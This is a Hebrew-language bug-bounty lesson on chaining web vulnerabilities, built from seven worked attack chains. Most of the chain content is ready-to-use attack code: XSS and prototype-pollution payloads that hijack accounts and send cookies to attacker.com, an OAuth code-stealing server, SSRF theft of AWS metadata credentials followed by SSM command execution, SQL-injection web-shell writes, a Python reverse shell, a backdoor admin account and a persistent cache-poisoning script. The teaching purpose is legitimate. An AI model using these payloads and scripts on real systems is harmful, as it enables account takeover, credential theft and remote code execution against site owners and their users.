לדלג לתוכן

שרשור חולשות - Vulnerability Chaining

מהו שרשור חולשות?

שרשור חולשות הוא הטכניקה של חיבור מספר חולשות אבטחה - שלעיתים כל אחת מהן לבדה אינה קריטית - לשרשרת תקיפה אחת שמשיגה אימפקט הרסני. זוהי אחת המיומנויות החשובות ביותר של חוקר אבטחה מנוסה.

חולשה בודדת ברמת Medium יכולה להיות משעממת. אבל כשמשרשרים שלוש חולשות ברמת Medium - התוצאה יכולה להיות Account Takeover מלא או RCE.


מתודולוגיה לשרשור חולשות

שלב 1 - מיפוי שטח התקיפה

לפני שמתחילים לחפש שרשראות, צריך להבין את היישום לעומק:

זרימת עבודה:
1. מיפוי כל נקודות הקצה של היישום
2. זיהוי מנגנוני אותנטיקציה ואוטוריזציה
3. הבנת הארכיטקטורה (מיקרו-שירותים, ענן, CDN)
4. מיפוי זרימות נתונים בין רכיבים
5. זיהוי אינטגרציות צד שלישי (OAuth, API חיצוניים)

שלב 2 - מציאת חולשות בודדות

לאסוף כל חולשה, גם אם נראית חסרת ערך:

  • Open Redirect שנראה לא מנוצל
  • Self-XSS שדורש אינטראקציה
  • SSRF שמוגבל לפרוטוקולים מסוימים
  • חשיפת מידע שנראית לא רגישה
  • IDOR שחושף רק מידע ציבורי

שלב 3 - זיהוי חיבורים

לחפש קשרים בין החולשות:

שאלות מפתח:
- האם הפלט של חולשה אחת יכול לשמש כקלט לחולשה אחרת?
- האם חולשה אחת מספקת גישה שנדרשת לניצול חולשה אחרת?
- האם חולשה אחת עוקפת הגנה שמונעת ניצול של חולשה אחרת?
- האם שילוב של חולשות מעלה את רמת האימפקט?

שלב 4 - בניית שרשרת הניצול

לתכנן ולתעד את הזרימה המלאה מתחילתה ועד סופה.


שרשרת 1 - XSS ל-CSRF ל-Account Takeover

הרעיון

משרשרים XSS שמאפשר הרצת JavaScript בהקשר של הקורבן, עם CSRF שמבצע פעולות בשם הקורבן, כדי להשיג השתלטות מלאה על החשבון.

שלב א - מציאת XSS

נניח שמצאנו Stored XSS בשדה הפרופיל:

POST /api/profile HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123

{
  "bio": "<img src=x onerror='eval(atob(\"BASE64_PAYLOAD\"))'>"
}

שלב ב - בדיקת CSRF על שינוי סיסמה

נבדוק את נקודת הקצה לשינוי סיסמה:

POST /api/change-password HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123

{
  "new_password": "hacked123",
  "confirm_password": "hacked123"
}

אם אין CSRF token או שהוא לא נבדק - יש לנו CSRF.

שלב ג - בניית הניצול המשורשר

// הקוד שמוזרק דרך ה-XSS
(async () => {
  // שלב 1 - שינוי סיסמת הקורבן
  await fetch('/api/change-password', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    credentials: 'include',
    body: JSON.stringify({
      new_password: 'attacker_password_123',
      confirm_password: 'attacker_password_123'
    })
  });

  // שלב 2 - שינוי המייל של הקורבן
  await fetch('/api/change-email', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    credentials: 'include',
    body: JSON.stringify({
      new_email: 'attacker@evil.com'
    })
  });

  // שלב 3 - שליחת הנתונים לשרת התוקף
  const userData = await fetch('/api/me', {credentials: 'include'});
  const data = await userData.json();

  navigator.sendBeacon('https://attacker.com/collect', JSON.stringify({
    username: data.username,
    email: 'attacker@evil.com',
    status: 'account_taken_over'
  }));
})();

זרימת התקיפה המלאה

1. תוקף מזריק XSS לפרופיל שלו
2. קורבן צופה בפרופיל התוקף
3. ה-XSS מופעל בדפדפן הקורבן
4. JavaScript משנה את הסיסמה והמייל של הקורבן
5. תוקף מתחבר עם הסיסמה החדשה - Account Takeover מלא

שרשרת 2 - Open Redirect ל-OAuth Token Theft

הרעיון

ניצול Open Redirect באתר היעד כדי לגנוב tokens של OAuth.

שלב א - מציאת Open Redirect

GET /redirect?url=https://evil.com HTTP/1.1
Host: target.com

HTTP/1.1 302 Found
Location: https://evil.com

שלב ב - הבנת זרימת ה-OAuth

זרימה תקינה:
1. משתמש לוחץ "התחבר עם Google"
2. מועבר ל: https://accounts.google.com/o/oauth2/auth?
     client_id=TARGET_CLIENT_ID&
     redirect_uri=https://target.com/oauth/callback&
     response_type=code&
     scope=email+profile&
     state=RANDOM_STATE
3. משתמש מאשר
4. Google מפנה בחזרה ל: https://target.com/oauth/callback?code=AUTH_CODE&state=RANDOM_STATE
5. target.com מחליפה את הקוד ב-access token

שלב ג - ניצול Open Redirect כ-redirect_uri

תקיפה:
1. תוקף שולח לקורבן קישור:
   https://accounts.google.com/o/oauth2/auth?
     client_id=TARGET_CLIENT_ID&
     redirect_uri=https://target.com/redirect?url=https://evil.com/steal&
     response_type=code&
     scope=email+profile&
     state=FAKE_STATE

2. הקורבן מאשר (רואה שהגישה היא ל-target.com)
3. Google מפנה ל: https://target.com/redirect?url=https://evil.com/steal&code=AUTH_CODE
4. ה-Open Redirect מפנה ל: https://evil.com/steal?code=AUTH_CODE
5. התוקף קיבל את ה-authorization code!

שרת לגניבת הטוקן

from flask import Flask, request
import requests

app = Flask(__name__)

TARGET_CLIENT_ID = "target_client_id"
TARGET_CLIENT_SECRET = "target_client_secret"

@app.route('/steal')
def steal_token():
    auth_code = request.args.get('code')

    # החלפת הקוד ב-access token
    token_response = requests.post('https://target.com/oauth/token', data={
        'grant_type': 'authorization_code',
        'code': auth_code,
        'redirect_uri': 'https://target.com/oauth/callback',
        'client_id': TARGET_CLIENT_ID,
        'client_secret': TARGET_CLIENT_SECRET
    })

    access_token = token_response.json().get('access_token')

    # שימוש בטוקן לגישה לחשבון הקורבן
    user_info = requests.get('https://target.com/api/me', headers={
        'Authorization': f'Bearer {access_token}'
    })

    with open('stolen_tokens.log', 'a') as f:
        f.write(f"Token: {access_token}\nUser: {user_info.text}\n\n")

    return "Error occurred", 500  # הסתרת התקיפה

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=443, ssl_context='adhoc')

שרשרת 3 - SSRF ל-Cloud Metadata ל-RCE

הרעיון

ניצול SSRF כדי לגשת לשירות ה-metadata של הענן, גניבת credentials, ושימוש בהם להשגת RCE.

שלב א - מציאת SSRF

POST /api/fetch-url HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "url": "http://169.254.169.254/latest/meta-data/"
}

תגובה:

ami-id
ami-launch-index
ami-manifest-path
hostname
iam/
instance-id
instance-type
local-ipv4
public-ipv4
security-groups

שלב ב - גניבת AWS Credentials

POST /api/fetch-url HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

תגובה:

ec2-production-role

בקשה נוספת:

POST /api/fetch-url HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-production-role"
}

תגובה:

{
  "Code": "Success",
  "AccessKeyId": "ASIAXXXXXXXXXXX",
  "SecretAccessKey": "wJalrXXXXXXXXXXXXXXXXXXX",
  "Token": "FwoGZXIvYXdzEBYaDHXXXXXXXXXXXXXXX",
  "Expiration": "2026-03-08T12:00:00Z"
}

שלב ג - שימוש ב-Credentials להשגת RCE

import boto3
import json

# שימוש ב-credentials שנגנבו
session = boto3.Session(
    aws_access_key_id='ASIAXXXXXXXXXXX',
    aws_secret_access_key='wJalrXXXXXXXXXXXXXXXXXXX',
    aws_session_token='FwoGZXIvYXdzEBYaDHXXXXXXXXXXXXXXX',
    region_name='us-east-1'
)

# בדיקת הרשאות
sts = session.client('sts')
identity = sts.get_caller_identity()
print(f"[+] ארן: {identity['Arn']}")

# ניסיון גישה ל-S3
s3 = session.client('s3')
buckets = s3.list_buckets()
print(f"[+] דליים: {[b['Name'] for b in buckets['Buckets']]}")

# ניסיון הרצת פקודות דרך SSM
ssm = session.client('ssm')
response = ssm.send_command(
    InstanceIds=['i-0abcdef1234567890'],
    DocumentName='AWS-RunShellScript',
    Parameters={'commands': ['id; whoami; cat /etc/shadow']}
)
print(f"[+] פקודה נשלחה: {response['Command']['CommandId']}")

# ניסיון הרצת Lambda function
lambda_client = session.client('lambda')
response = lambda_client.invoke(
    FunctionName='admin-function',
    Payload=json.dumps({'command': 'cat /etc/passwd'})
)
print(f"[+] תוצאה: {response['Payload'].read().decode()}")

שרשרת IMDSv2

בסביבות עם IMDSv2, צריך שלב נוסף - קבלת token:

PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600

ואז שימוש בו:

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-aws-ec2-metadata-token: TOKEN_VALUE

שרשרת 4 - IDOR ל-Information Disclosure ל-Privilege Escalation

שלב א - מציאת IDOR

GET /api/users/1001 HTTP/1.1
Host: target.com
Cookie: session=regular_user_session

HTTP/1.1 200 OK
{
  "id": 1001,
  "name": "Regular User",
  "email": "user@target.com",
  "role": "user"
}

שינוי ה-ID:

GET /api/users/1 HTTP/1.1
Host: target.com
Cookie: session=regular_user_session

HTTP/1.1 200 OK
{
  "id": 1,
  "name": "Admin User",
  "email": "admin@target.com",
  "role": "admin",
  "api_key": "sk-admin-a8f3b2c1d4e5f6789",
  "internal_ip": "10.0.1.50",
  "last_login_ip": "192.168.1.100"
}

שלב ב - שימוש במידע שהתגלה

import requests

# שימוש ב-API key של האדמין
headers = {
    'X-API-Key': 'sk-admin-a8f3b2c1d4e5f6789',
    'Content-Type': 'application/json'
}

# הסלמת הרשאות - שינוי התפקיד שלנו לאדמין
response = requests.put(
    'https://target.com/api/admin/users/1001',
    headers=headers,
    json={'role': 'admin'}
)
print(f"[+] הסלמת הרשאות: {response.status_code}")

# גישה לפאנל ניהול
admin_panel = requests.get(
    'https://target.com/api/admin/dashboard',
    headers=headers
)
print(f"[+] גישה לפאנל: {admin_panel.text[:200]}")

סקריפט אוטומטי לסריקת IDOR

import requests
import json
from concurrent.futures import ThreadPoolExecutor

BASE_URL = "https://target.com/api/users"
SESSION_COOKIE = "session=regular_user_session"

def check_user(user_id):
    try:
        response = requests.get(
            f"{BASE_URL}/{user_id}",
            headers={'Cookie': SESSION_COOKIE},
            timeout=5
        )
        if response.status_code == 200:
            data = response.json()
            if data.get('role') == 'admin':
                print(f"[!] נמצא אדמין - ID: {user_id}, "
                      f"שם: {data.get('name')}, "
                      f"מייל: {data.get('email')}")
                return data
    except Exception:
        pass
    return None

# סריקה מקבילית
with ThreadPoolExecutor(max_workers=10) as executor:
    results = list(executor.map(check_user, range(1, 10000)))
    admins = [r for r in results if r is not None]
    print(f"\n[+] נמצאו {len(admins)} חשבונות אדמין")

שרשרת 5 - SQL Injection ל-File Write ל-RCE

שלב א - זיהוי SQL Injection

GET /search?q=test' OR 1=1-- HTTP/1.1
Host: target.com

שלב ב - כתיבת Web Shell דרך INTO OUTFILE

GET /search?q=test' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/uploads/shell.php'-- HTTP/1.1
Host: target.com

אם יש הגבלה על INTO OUTFILE, ניתן לנסות דרך log poisoning:

-- שינוי נתיב הלוג
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/www/html/uploads/shell.php';

-- הזרקת PHP דרך שאילתה
SELECT '<?php system($_GET["cmd"]); ?>';

-- כיבוי הלוג
SET GLOBAL general_log = 'OFF';

שלב ג - הרצת פקודות דרך ה-Web Shell

import requests

SHELL_URL = "https://target.com/uploads/shell.php"

def execute(cmd):
    response = requests.get(SHELL_URL, params={'cmd': cmd})
    return response.text

# סריקה ראשונית
print(execute('id'))
print(execute('uname -a'))
print(execute('cat /etc/passwd'))

# Reverse shell
reverse_shell = (
    "python3 -c 'import socket,subprocess,os;"
    "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
    "s.connect((\"attacker.com\",4444));"
    "os.dup2(s.fileno(),0);"
    "os.dup2(s.fileno(),1);"
    "os.dup2(s.fileno(),2);"
    "subprocess.call([\"/bin/sh\",\"-i\"])'"
)
execute(reverse_shell)

שרשרת 6 - Prototype Pollution ל-XSS ל-Admin Account Takeover

שלב א - מציאת Prototype Pollution

// נקודת קצה שמקבלת JSON ועושה merge עמוק
// POST /api/settings
// {"__proto__": {"isAdmin": true}}

// או דרך query parameters:
// GET /page?__proto__[polluted]=true

שלב ב - ניצול ל-XSS

POST /api/user/settings HTTP/1.1
Host: target.com
Content-Type: application/json

{
  "__proto__": {
    "innerHTML": "<img src=x onerror='fetch(\"https://attacker.com/steal?c=\"+document.cookie)'>",
    "srcdoc": "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>",
    "onload": "fetch('https://attacker.com/steal?c='+document.cookie)"
  }
}

שלב ג - גניבת סשן אדמין

// הקוד שרץ בהקשר של האדמין
(async () => {
  // גניבת cookie
  const cookies = document.cookie;

  // גניבת CSRF token
  const csrfToken = document.querySelector('meta[name="csrf-token"]')?.content;

  // יצירת חשבון אדמין חדש
  await fetch('/admin/users/create', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': csrfToken
    },
    credentials: 'include',
    body: JSON.stringify({
      username: 'backdoor_admin',
      password: 'P@ssw0rd123!',
      role: 'super_admin',
      email: 'attacker@evil.com'
    })
  });

  // שליחת כל המידע לתוקף
  navigator.sendBeacon('https://attacker.com/exfil', JSON.stringify({
    cookies, csrfToken,
    url: window.location.href
  }));
})();

שרשרת 7 - Cache Poisoning ל-Stored XSS ל-Mass Account Compromise

שלב א - זיהוי Cache Poisoning

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

HTTP/1.1 200 OK
X-Cache: miss
...
<script src="https://evil.com/resources/main.js"></script>

בקשה נוספת (מהמטמון):

GET / HTTP/1.1
Host: target.com

HTTP/1.1 200 OK
X-Cache: hit
...
<script src="https://evil.com/resources/main.js"></script>

שלב ב - הגשת JavaScript זדוני

הקובץ main.js בשרת התוקף:

// שלב 1 - גניבת מידע מכל מבקר
const sessionData = {
  cookies: document.cookie,
  localStorage: JSON.stringify(localStorage),
  url: window.location.href,
  userAgent: navigator.userAgent
};

// שלב 2 - ניסיון לשנות סיסמה אם המשתמש מחובר
async function compromiseAccount() {
  try {
    // בדיקה אם המשתמש מחובר
    const meResponse = await fetch('/api/me', {credentials: 'include'});
    if (meResponse.status !== 200) return;

    const user = await meResponse.json();

    // שינוי המייל
    await fetch('/api/settings/email', {
      method: 'PUT',
      headers: {'Content-Type': 'application/json'},
      credentials: 'include',
      body: JSON.stringify({email: `${user.id}@attacker-domain.com`})
    });

    // בקשת איפוס סיסמה למייל החדש
    await fetch('/api/reset-password', {
      method: 'POST',
      headers: {'Content-Type': 'application/json'},
      body: JSON.stringify({email: `${user.id}@attacker-domain.com`})
    });

    sessionData.userId = user.id;
    sessionData.username = user.username;
    sessionData.compromised = true;
  } catch (e) {
    sessionData.error = e.message;
  }

  // שליחת הנתונים
  navigator.sendBeacon('https://attacker.com/mass-collect',
    JSON.stringify(sessionData));
}

compromiseAccount();

שלב ג - הרחבת ההתקפה

import requests
import time

def poison_cache(target_url, evil_host):
    """הרעלת המטמון באופן מתמשך"""
    while True:
        for path in ['/', '/login', '/dashboard', '/profile']:
            response = requests.get(
                f"{target_url}{path}",
                headers={
                    'X-Forwarded-Host': evil_host,
                    'X-Forwarded-Scheme': 'https'
                }
            )
            cache_status = response.headers.get('X-Cache', 'unknown')
            print(f"[*] {path}: Cache={cache_status}")

        # שמירה על הרעלת המטמון
        time.sleep(30)

poison_cache('https://target.com', 'evil.com')

איך לזהות חולשות הניתנות לשרשור

מטריצת שרשור

מקור (חולשה ראשונה)    ->    יעד (חולשה שנייה)
================================================
XSS                     ->    CSRF, Session Hijacking, Keylogging
SSRF                    ->    Cloud Metadata, Internal Services, Port Scan
Open Redirect           ->    OAuth Theft, Phishing, Token Leakage
IDOR                    ->    Info Disclosure, Priv Escalation
SQLi                    ->    Data Leak, File Write, RCE
Prototype Pollution     ->    XSS, Logic Bypass, DoS
Cache Poisoning         ->    XSS, Phishing, Mass Compromise
CORS Misconfiguration   ->    Data Theft, CSRF
CRLF Injection          ->    XSS, Session Fixation, Cache Poisoning
Path Traversal          ->    Source Code Disclosure, Config Leak

כלים לזיהוי שרשראות

# סקריפט פשוט שממפה חולשות פוטנציאליות ומציע שרשראות
CHAINS = {
    'xss': ['csrf', 'session_hijack', 'account_takeover'],
    'ssrf': ['metadata', 'internal_scan', 'rce'],
    'open_redirect': ['oauth_theft', 'phishing'],
    'idor': ['info_disclosure', 'privilege_escalation'],
    'sqli': ['file_write', 'rce', 'data_exfiltration'],
    'prototype_pollution': ['xss', 'logic_bypass'],
    'cache_poisoning': ['xss', 'mass_compromise'],
}

def suggest_chains(found_vulns):
    """הצעת שרשראות על בסיס חולשות שנמצאו"""
    suggestions = []
    for vuln in found_vulns:
        if vuln in CHAINS:
            for target in CHAINS[vuln]:
                suggestions.append(f"{vuln} -> {target}")
                # בדיקת שרשרת עמוקה יותר
                if target in CHAINS:
                    for deep_target in CHAINS[target]:
                        suggestions.append(
                            f"{vuln} -> {target} -> {deep_target}"
                        )
    return suggestions

# דוגמה
found = ['ssrf', 'open_redirect', 'xss']
for chain in suggest_chains(found):
    print(f"[*] שרשרת אפשרית: {chain}")

הכפלת אימפקט

טבלת הסלמה

חומרה מקורית    שרשרת                              חומרה חדשה
=================================================================
Low (XSS)       + CSRF + Password Change            = Critical
Low (SSRF)      + Cloud Metadata + RCE              = Critical
Info (IDOR)     + Admin API Key + Priv Escalation   = Critical
Medium (SQLi)   + File Write + Web Shell            = Critical
Low (Redirect)  + OAuth Theft + Account Takeover    = High
Low (PP)        + XSS + Admin Takeover              = Critical
Medium (Cache)  + XSS + Mass Compromise             = Critical

דוגמה מעולם באגים אמיתי

דוח: Self-XSS בשדה הערות פנימי
חומרה מקורית: Informative (לא משלמים)
שרשרת: Self-XSS + Login CSRF + Stored XSS + Admin Panel Access
חומרה חדשה: Critical
תשלום: $15,000

סיכום

שרשור חולשות דורש חשיבה יצירתית והבנה עמוקה של היישום. הנקודות העיקריות:

  1. אסוף כל חולשה - גם אם נראית חסרת ערך
  2. מפה קשרים בין חולשות - מהי הפלט של אחת שיכול להיות קלט לאחרת
  3. חשוב על זרימות - איך נתונים עוברים בין רכיבים
  4. תרגל - בנה שרשראות על יישומים פגיעים
  5. תעד הכל - שרשרת טובה שמתועדת גרוע שווה פחות

בשיעור הבא נלמד איך להפוך ממצאים ברמת Low לממצאים קריטיים.